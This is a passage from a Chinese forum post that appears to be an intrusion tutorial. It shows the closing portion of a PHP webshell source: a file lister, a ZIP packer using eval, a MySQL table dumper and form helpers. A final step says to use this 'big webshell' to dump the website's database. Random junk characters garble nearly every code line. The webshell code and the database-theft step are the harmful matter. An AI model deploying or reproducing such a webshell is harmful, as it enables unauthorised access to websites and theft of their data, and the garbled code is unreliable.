  1685.                 }5 y% Z# i$ T4 c
  1686.                 else return 0;
    1 @! C# u7 Y! E7 f, u" @3 }# Y
  1687.         }
    ! b- s: g2 t( V) K8 F3 E
  1688. 9 @% l$ M0 T# u+ r
  1689.         // 获得指定目录文件列表
    1 n1 W) G; S, i2 e% l# g+ E
  1690.         function GetFileList($dir){5 j4 s" z: z1 i$ A9 U3 X; C
  1691.                 static $a;
    % _- R% O- H6 M# j5 p( U
  1692.                 if (is_dir($dir)) {2 X- u: i8 k0 |; f. P/ t
  1693.                         if ($dh = opendir($dir)) {
    3 z% g0 U8 \( u/ S# v
  1694.                                 while ($file = readdir($dh)) {1 y+ y7 Q  r  j- o
  1695.                                         if($file!='.' && $file!='..'){
    % b8 V8 l5 G3 `' ~  s, N
  1696.                                                 $f=$dir .'/'. $file;. s7 ]* z/ g. H! ~9 M' [
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);4 f, u% u6 ?1 ~6 i# a- U
  1698.                                                 $a[]=$f;3 i% a% A' [$ b7 z! Z
  1699.                                         }& x; Z& H0 O3 p7 t% P, c
  1700.                                 }) u2 P  [( [' Y! a
  1701.                                 closedir($dh);
    6 x2 x0 i$ J1 O+ `! T
  1702.                         }
    * b2 u7 H4 T' |: b% l
  1703.                 }
    ' b) {5 f# M! {) L  a
  1704.                 return $a;3 i7 z2 C* i1 ^- e( x
  1705.         }, v7 c5 t/ E: p, ?$ N5 M

  1706. 5 q+ Z6 ~# ?- M  T# j  Y
  1707.         var $datasec      = array();3 t, J- t: P/ `
  1708.         var $ctrl_dir     = array();, k* a, R0 c; b  n$ j, q
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    & Z- `  t, j" D6 p/ o
  1710.         var $old_offset   = 0;8 m( O; P# r3 A* G! V! l

  1711. - {& `- P& R5 W7 S" K/ Y
  1712.         function unix2DosTime($unixtime = 0) {0 T: J/ N, e2 e+ B3 T8 \3 |" `1 s0 M
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
    5 o* N: l0 G4 g
  1714.                 if ($timearray['year'] < 1980) {
    ) a3 U- i# g: t1 D' n& q2 G( I
  1715.                         $timearray['year']    = 1980;
    , e7 v; u& _2 t/ @  v8 p" S
  1716.                         $timearray['mon']     = 1;
    * R7 S" N$ _0 S5 l! V6 H' L
  1717.                         $timearray['mday']    = 1;
    . @- v9 ~# @' u6 [; F! [6 r
  1718.                         $timearray['hours']   = 0;
    3 @+ U) o, c" t; ~
  1719.                         $timearray['minutes'] = 0;; {0 a7 o* _2 P$ A7 s
  1720.                         $timearray['seconds'] = 0;
    7 O3 p+ @! L5 E$ g
  1721.                 } // end if
    ! {8 [, L/ ?; G, S/ ?$ C) V
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |. v3 O- _) A) v) z  Z
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);' ?6 _+ T. \) V: @
  1724.         }  ]9 G0 \4 w* p- Q
  1725.         function addFile($data, $name, $time = 0) {/ w) a& c) |& ?8 Z( T) I
  1726.                 $name = str_replace('\\', '/', $name);) z& |1 l; [4 {2 Y! f( Q" |4 v
  1727.                 $dtime = dechex($this->unix2DosTime($time));. M. }2 F5 L) k  h% \# p+ Z
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]
    3 ]; k2 S9 p& Z# g4 z4 |. P6 c
  1729.                                         . '\x' . $dtime[4] . $dtime[5]
    ! m! e$ B" u3 v! I( }, N4 a
  1730.                                         . '\x' . $dtime[2] . $dtime[3]0 W6 Z2 D# U; J$ s; @' S) V
  1731.                                         . '\x' . $dtime[0] . $dtime[1];' Y1 l: n& ~: X6 B$ G
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');8 D: n0 ^1 z; b/ X6 S) p5 ?
  1733.                 $fr        = "\x50\x4b\x03\x04";
    / X1 c/ `% V1 a5 g9 B
  1734.                 $fr        .= "\x14\x00";
    ) ?, P- r7 U8 |# j4 }' ~
  1735.                 $fr        .= "\x00\x00";
    ; g- u3 r4 A6 a4 K
  1736.                 $fr        .= "\x08\x00";; Z# }5 m% f- b6 }
  1737.                 $fr        .= $hexdtime;- {) w/ {3 Z& I" h4 a
  1738.                 $unc_len = strlen($data);
    , ?3 l1 u/ w. B
  1739.                 $crc = crc32($data);
    " z% g  o6 t! T8 j4 j) E5 r
  1740.                 $zdata = gzcompress($data);- ?) s9 k) \. S6 L- a* @
  1741.                 $c_len = strlen($zdata);. p1 \2 W' I- v
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
    ; O# W+ `! A9 o# I+ Y8 ]
  1743.                 $fr .= pack('V', $crc);
    : O* C, x+ Y2 }* Y6 X+ j& h0 a+ m
  1744.                 $fr .= pack('V', $c_len);
    & |  i' \- n, s$ v
  1745.                 $fr .= pack('V', $unc_len);
    0 n4 y- k# m+ l0 S. h$ {# R7 y
  1746.                 $fr .= pack('v', strlen($name));
    $ K! z4 }; W6 `- m* u
  1747.                 $fr .= pack('v', 0);
    # e0 ^6 E& D& }
  1748.                 $fr .= $name;) ~- R2 ]5 `7 \4 E6 F6 J
  1749.                 $fr .= $zdata;: K3 `- h" [4 L8 e4 a
  1750.                 $fr .= pack('V', $crc);
    . B1 c3 J1 p) X
  1751.                 $fr .= pack('V', $c_len);& B% z4 c2 s4 S! N/ q
  1752.                 $fr .= pack('V', $unc_len);$ c0 ]9 p- t" V: e1 O% G
  1753.                 $this -> datasec[] = $fr;, `: E% x* R( c; F7 w& \3 e* b4 G1 |- @
  1754.                 $new_offset = strlen(implode('', $this->datasec));) Y6 N( `  s" {% Y
  1755.                 $cdrec = "\x50\x4b\x01\x02";; A) p" O* `( v
  1756.                 $cdrec .= "\x00\x00";
    * i' {; b4 V1 M3 Z, `! n
  1757.                 $cdrec .= "\x14\x00";
    4 ?- K' @' x" u
  1758.                 $cdrec .= "\x00\x00";
    0 s: E8 w& b$ t) \( A) W% J! E
  1759.                 $cdrec .= "\x08\x00";
    7 S1 w% a8 j* B
  1760.                 $cdrec .= $hexdtime;7 m+ B" T8 g/ K- K4 L1 j
  1761.                 $cdrec .= pack('V', $crc);5 A4 b! r+ T$ |8 B! T
  1762.                 $cdrec .= pack('V', $c_len);# P, p5 U) l" ~$ J( A3 X$ e0 w
  1763.                 $cdrec .= pack('V', $unc_len);
    % V2 n0 e! F' H' H/ P
  1764.                 $cdrec .= pack('v', strlen($name) );
    ! x2 |8 p# y! p. o5 ~' J9 s
  1765.                 $cdrec .= pack('v', 0 );3 M7 Y- b9 M5 |% i4 b$ A* [9 m
  1766.                 $cdrec .= pack('v', 0 );
    8 r" c/ R! ^! U' l$ F6 u4 W6 d( Z
  1767.                 $cdrec .= pack('v', 0 );
    + K* e, |  e; o! D" r* {, Z2 Q) [5 E! G
  1768.                 $cdrec .= pack('v', 0 );6 c: l+ p3 n& I3 w
  1769.                 $cdrec .= pack('V', 32 );
    7 T6 c# W) _" G
  1770.                 $cdrec .= pack('V', $this -> old_offset );7 w4 T' K$ }* [4 Z2 ]+ K  Z4 X
  1771.                 $this -> old_offset = $new_offset;- F5 U: \2 K- @1 C
  1772.                 $cdrec .= $name;& ?8 ?5 e3 Y, d
  1773.                 $this -> ctrl_dir[] = $cdrec;
    % D& [4 n: M# U  s! X+ o
  1774.         }; m4 H& `' C' g, s- ?
  1775.         function file() {
    5 ^! ?3 l) [, t5 G5 x1 ~, w/ [: ?: a
  1776.                 $data    = implode('', $this -> datasec);
    4 _, G* h3 O0 p0 j
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);
    / i! `9 V6 o2 H. u/ ?8 z' b
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
    % m. S! m- |$ B& d
  1779.         }
    ! `2 B! `9 L7 K4 D& c* ]
  1780. }5 x+ e  A3 A, R! ]: R6 @
  1781. // 备份数据库
    ! O" N; P6 d1 k. D" y2 h1 i
  1782. function sqldumptable($table, $fp=0) {
    * S4 m0 e% v: R
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
    4 @$ {; i) X3 Q! G0 Q: r
  1784.         $tabledump .= "CREATE TABLE $table (\n";7 l9 P" Z1 [, A. t
  1785.         $firstfield=1;$ P3 ^& K, ]5 q" B3 @
  1786.         $fields = q("SHOW FIELDS FROM $table");5 U% @; S: p% t+ g0 D7 P
  1787.         while ($field = mysql_fetch_array($fields)) {& {* _0 }6 l8 h. z
  1788.                 if (!$firstfield) {) X9 a/ Z# K6 \! C* R1 \  R4 c; I
  1789.                         $tabledump .= ",\n";1 o) k. }$ e8 M8 ~9 a
  1790.                 } else {, [' G1 U; G" B7 Z  p
  1791.                         $firstfield=0;, i' x9 h( C7 r9 L
  1792.                 }
    % Y: |7 S" f7 k
  1793.                 $tabledump .= "   $field[Field] $field[Type]";$ {1 D# K' L/ `5 B# p
  1794.                 if (!empty($field["Default"])) {
    8 R' F7 b% N8 z7 O1 [
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";
    3 N. J% k1 {* B! M1 Q( Q
  1796.                 }# ~1 D  O) K$ k" b, `  A
  1797.                 if ($field['Null'] != "YES") {
    ) d# w) q+ f' ~& Q8 c
  1798.                         $tabledump .= " NOT NULL";, ?+ K3 n0 |# ~! T* w) o8 I
  1799.                 }! D. U8 u0 O6 A, b, X3 x1 |( h
  1800.                 if ($field['Extra'] != "") {
    6 ]. m( z( M9 m1 a% }, x/ s1 @
  1801.                         $tabledump .= " $field[Extra]";( ]: c# N3 t6 }' N* U
  1802.                 }5 f, |% w" O5 s* l. z) L
  1803.         }
    / ~1 X1 T. i4 n8 ^" @
  1804.         fr($fields);
    $ O+ V& L. K/ F
  1805.         $keys = q("SHOW KEYS FROM $table");
    . r# G& J, U, ^9 M
  1806.         while ($key = mysql_fetch_array($keys)) {
    9 U5 ]$ X% j9 J0 z
  1807.                 $kname=$key['Key_name'];
    * ]* f7 j4 a- ~9 B
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
    ( p( ?6 g/ C8 I7 ^6 K3 m
  1809.                         $kname="UNIQUE|$kname";
    + Y3 |3 V; m& ?5 C& j
  1810.                 }: {* }7 c4 _. }
  1811.                 if(!is_array($index[$kname])) {
    5 t+ P/ m: b" V5 ~
  1812.                         $index[$kname] = array();6 k1 Z! c, W( z6 I0 `: ]5 i
  1813.                 }; d' D. L* J! w9 S( e3 z
  1814.                 $index[$kname][] = $key['Column_name'];3 P! O, V; r! X- z/ M" Q! N
  1815.         }# Z9 K1 d6 J9 d* ?! m# h* ^
  1816.         fr($keys);$ z3 v2 G$ F2 F5 A0 z1 {. D
  1817.         while(list($kname, $columns) = @each($index)) {
    8 [/ I" K) H) z$ t
  1818.                 $tabledump .= ",\n";
    , u+ A, Y7 i1 b$ x1 h" G- T
  1819.                 $colnames=implode($columns,",");# c% m, i* G+ T# g6 B8 h
  1820.                 if ($kname == "PRIMARY") {9 b0 u1 J9 E3 ]9 H+ w& R- p
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
    4 Y4 v4 M1 D( K7 O/ L9 X; T2 {
  1822.                 } else {  a; }/ l( y7 q/ A# c% `8 Z
  1823.                         if (substr($kname,0,6) == "UNIQUE") {: H7 S$ _. @  d% L+ G' x: n# j
  1824.                                 $kname=substr($kname,7);
      U; B% M% B9 o; Z! s6 C" K, G9 m* E
  1825.                         }
    / F5 E* v+ s9 Y) T: y8 A
  1826.                         $tabledump .= "   KEY $kname ($colnames)";+ U1 X! k) p1 ~
  1827.                 }. P; N+ s% b, K( P3 `
  1828.         }
    . f9 C( D2 L2 W) ?3 |# r3 L/ W9 x) J
  1829.         $tabledump .= "\n);\n\n";
    & R4 u' o/ w' R' E$ x3 e$ S
  1830.         if ($fp) {
    1 \4 c4 l. P1 L7 D
  1831.                 fwrite($fp,$tabledump);( a1 m" }2 A6 w* Q
  1832.         } else {  `4 G7 _6 z) t+ c
  1833.                 echo $tabledump;
    6 f! m( \8 J& D0 [
  1834.         }
    ! ]# q& W1 d6 V7 p
  1835.         $rows = q("SELECT * FROM $table");- u6 b% b/ B. i' S- X
  1836.         $numfields = mysql_num_fields($rows);
    : f5 R1 ^- b2 f+ j* k  @& [
  1837.         while ($row = mysql_fetch_array($rows)) {% z. |) I) {! H; h
  1838.                 $tabledump = "INSERT INTO $table VALUES(";# d) @+ w) s$ W1 @/ w* x% W
  1839.                 $fieldcounter=-1;/ O6 v5 h$ }. [7 l1 {
  1840.                 $firstfield=1;
    " z( @* G3 p  ?0 |
  1841.                 while (++$fieldcounter<$numfields) {
    7 V, B# w+ w3 q  p/ I& B5 H
  1842.                         if (!$firstfield) {' q0 z1 P/ Y+ T$ @- o1 l# U
  1843.                                 $tabledump.=", ";# Y, q& X' {# D1 F) i5 w
  1844.                         } else {
    8 c) V" o/ o6 D% l8 \1 a
  1845.                                 $firstfield=0;
    * r5 Z% D: \0 `, F  o
  1846.                         }
    / W2 @5 J6 S( s, c
  1847.                         if (!isset($row[$fieldcounter])) {
    9 n8 R6 W4 u9 Q3 H5 i2 Q" e
  1848.                                 $tabledump .= "NULL";
    7 r3 N0 Y0 P% w6 h/ ^
  1849.                         } else {
    5 u. J7 F5 |+ |+ Y; r' X% R& j
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";, e) S9 t4 H$ z, C: x
  1851.                         }1 {: {1 |. c1 H: F/ I8 U7 t
  1852.                 }
    5 t* r5 S* w# Z2 p6 S
  1853.                 $tabledump .= ");\n";# Y6 a2 V) I6 [% ~7 W1 m( f- o6 \
  1854.                 if ($fp) {: ^2 A6 I* ~3 t3 k. \: Z
  1855.                         fwrite($fp,$tabledump);9 V/ _5 w. A. @% x+ w6 w
  1856.                 } else {
    $ R( T7 S5 B6 {# r" t8 c, @
  1857.                         echo $tabledump;
    ! _. \" m+ t4 v2 \* ]0 k+ ^
  1858.                 }, |+ m8 `4 x! a: a1 e' r# U5 |6 P
  1859.         }
    ; R" |5 x1 Z1 D
  1860.         fr($rows);& [# ~6 J2 y7 J  ?. c
  1861.         if ($fp) {
    1 l+ g3 `" U8 X, M: h3 @/ M7 y+ X
  1862.                 fwrite($fp,"\n");+ R( c+ z- L: x! T5 X$ y6 P
  1863.         } else {3 P  b. B& o3 A" o, W! q
  1864.                 echo "\n";
    ( n" x& s5 N" U, w6 M
  1865.         }$ f$ f, w% L% i2 h% v( o
  1866. }
    7 s# z3 c* _- I& t. }# G
  1867. function ue($str){
    8 K6 x+ |& I4 y! t% a2 R
  1868.         return urlencode($str);3 \+ g  k- @; [) P
  1869. }6 y2 r; U7 J0 q* _9 `* u+ D( M
  1870. function p($str){
    6 E$ z2 M# O0 O% X4 x3 g6 i- F  v. F
  1871.         echo $str."\n";
    5 Y" ~' g1 w( U+ W8 `# i6 ]
  1872. }
    1 C1 u& ^/ W0 X  I9 n/ c
  1873. function tbhead() {
    " l6 @$ G& c9 {. O1 S5 u/ v
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
    / n% L( p! B0 p' ^9 i& F7 I: V+ F
  1875. }8 A  _1 z( C! |- }" M: }) d
  1876. function tbfoot(){8 j6 L6 ~& D8 Q1 e. v
  1877.         p('</table>');* b7 L8 s- [6 b' U1 ]6 a) G
  1878. }6 O4 s$ w8 Y- E* C+ X
  1879. function makehide($name,$value=''){
    2 }4 ~& ^; s4 t5 d0 c
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
    3 b# i" m0 L0 q6 }
  1881. }
    * W4 v+ t- {8 O/ B: U  P  G
  1882. function makeinput($arg = array()){; v/ E, G" a4 A  }0 l& S
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
    ) O/ ?# j! N; N' L
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
    ) Y* e( {2 `; |, M
  1885.         !$arg['type'] && $arg['type'] = 'text';
    " ]8 X* U5 j: t( x' C) u6 F7 y
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    1 `( y7 e* n# t& S9 p# _. A5 [1 v
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';6 E/ ?; k' a& v6 H
  1888.         if ($arg['newline']) {. ~  n3 q- t6 ?, P9 L) k2 W; v
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");4 l3 t( s& d+ `2 f0 `% b
  1890.         } else {2 [8 V$ E( ]" f+ L
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");* R+ F, T5 }4 K' v
  1892.         }
    $ |8 Z4 |: D5 N) z
  1893. }
      G, V& b5 @7 M( n" b* L7 `
  1894. function makeselect($arg = array()){
    1 x' d$ h+ I2 @0 w( q
  1895.         if ($arg['onchange']) {
    3 z6 t/ o0 m, x9 i+ }6 F! {6 U
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';; M9 F- t0 [: Y
  1897.         }( S3 C2 i, t- v7 |7 N* a
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';  z. q4 [' b/ ]6 t) x+ @2 v
  1899.         if ($arg['newline']) p('<p>');
    . E9 {$ b& i- u: y
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");! k0 o7 ~  `; @: G: T' l$ h8 u1 U! M
  1901.                 if (is_array($arg['option'])) {; ]' l' _) n7 V$ X7 i7 }; M
  1902.                         foreach ($arg['option'] as $key=>$value) {1 I# U0 x  t4 b' e
  1903.                                 if ($arg['selected']==$key) {- u2 F9 G! j$ J/ {* }1 S+ F, y
  1904.                                         p("<option value="$key" selected>$value</option>");& s% v7 H+ [9 T2 k  y, n4 G
  1905.                                 } else {- Q7 Y) t2 Q7 U! |1 K9 V
  1906.                                         p("<option value="$key">$value</option>");
    ; Z. n1 _6 }5 F3 o2 R. p' z+ \0 A) `
  1907.                                 }4 n/ _, T; v, v6 i4 `$ u
  1908.                         }5 M# u' L  M  R; p' ]
  1909.                 }
    , V4 T1 _8 l: `' y# J
  1910.         p("</select>");
    7 q8 f/ P( b* M% @( _3 i1 C
  1911.         if ($arg['newline']) p('</p>');
    3 P. q8 a3 N$ P
  1912. }, s5 Z; u: x5 a" d
  1913. function formhead($arg = array()) {: H5 R2 l5 G" {1 ]& @+ B: S. c
  1914.         !$arg['method'] && $arg['method'] = 'post';( D) }8 {0 U5 {% r2 u/ u3 X
  1915.         !$arg['action'] && $arg['action'] = $self;
    0 {" Y  s9 N: l2 @
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';2 D0 ]8 V9 ^6 L: o0 V$ Q- n
  1917.         !$arg['name'] && $arg['name'] = 'form1';
    : z/ W# [% n: Q3 D; B/ V5 L" d2 `
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");. N' g& _+ F) L7 ?. Q
  1919.         if ($arg['title']) {; r9 |8 h* l0 \% m
  1920.                 p('<h2>'.$arg['title'].' »</h2>');) `: }) y0 O% q
  1921.         }
    1 G' D4 I7 Z/ ]6 M2 E
  1922. }: _- L+ {2 Z& G% U
  1923.        
    9 C+ z6 u7 M% H$ p
  1924. function maketext($arg = array()){5 w4 k5 L6 x% R0 Z( ~( p) H- h+ ~) S
  1925.         !$arg['cols'] && $arg['cols'] = 100;
    ; o% U# @# K* ^! ^. |! v# j
  1926.         !$arg['rows'] && $arg['rows'] = 25;
    ; R% }5 z. y" A3 v1 q9 |
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    & V0 B- ]; |) y5 C5 k, y) }; d
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
    ! k6 W, a1 s: z
  1929. }$ n. v2 {) A; c' m+ ^9 h8 u! Z
  1930. ; X2 |, u7 t3 M+ M
  1931. function formfooter($name = ''){
    0 `" F! q: e5 V. s7 p& J4 a3 O) F
  1932.         !$name && $name = 'submit';
    # D, X8 W% s. T8 U. _" j
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
    ; B1 R" _0 `- Z
  1934.         p('</form>');
    ) H1 Y: A- B; x4 ]: d
  1935. }
    2 @* O" u' Y0 A+ u
  1936. 0 k+ g2 e$ J9 B0 B/ h2 s  x8 L
  1937. function formfoot(){
    ' m. T# j4 ^1 ~3 m4 d, U# r1 B
  1938.         p('</form>');
    1 @4 h1 }7 x. X8 k( ~
  1939. }5 q2 A' s; p6 Y, L3 x0 X
  1940. + }* H" o' e& `( o
  1941. // 调试函数
    $ L6 m! @9 K8 x) @7 S
  1942. function pr($a) {
    - _  B$ n" ^" p  _8 W* I8 W
  1943.         echo '<pre>';
    : K% o' e9 O. l& B2 T5 L+ Y& x
  1944.         print_r($a);# D& H  F- r% S+ g6 A8 u; F
  1945.         echo '</pre>';
    " k4 X9 G6 p/ |1 Q0 r# W1 [
  1946. }
    5 V! \7 U! D, m( S# a6 G; M
  1947. 6 c- s2 f- m2 G
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库
0 V$ K3 i9 N% v, U3 ^


- Z& {- q% |, F$ e5 Q: q. x) o) c- v
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-6-20 01:06 PM , Processed in 0.118225 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表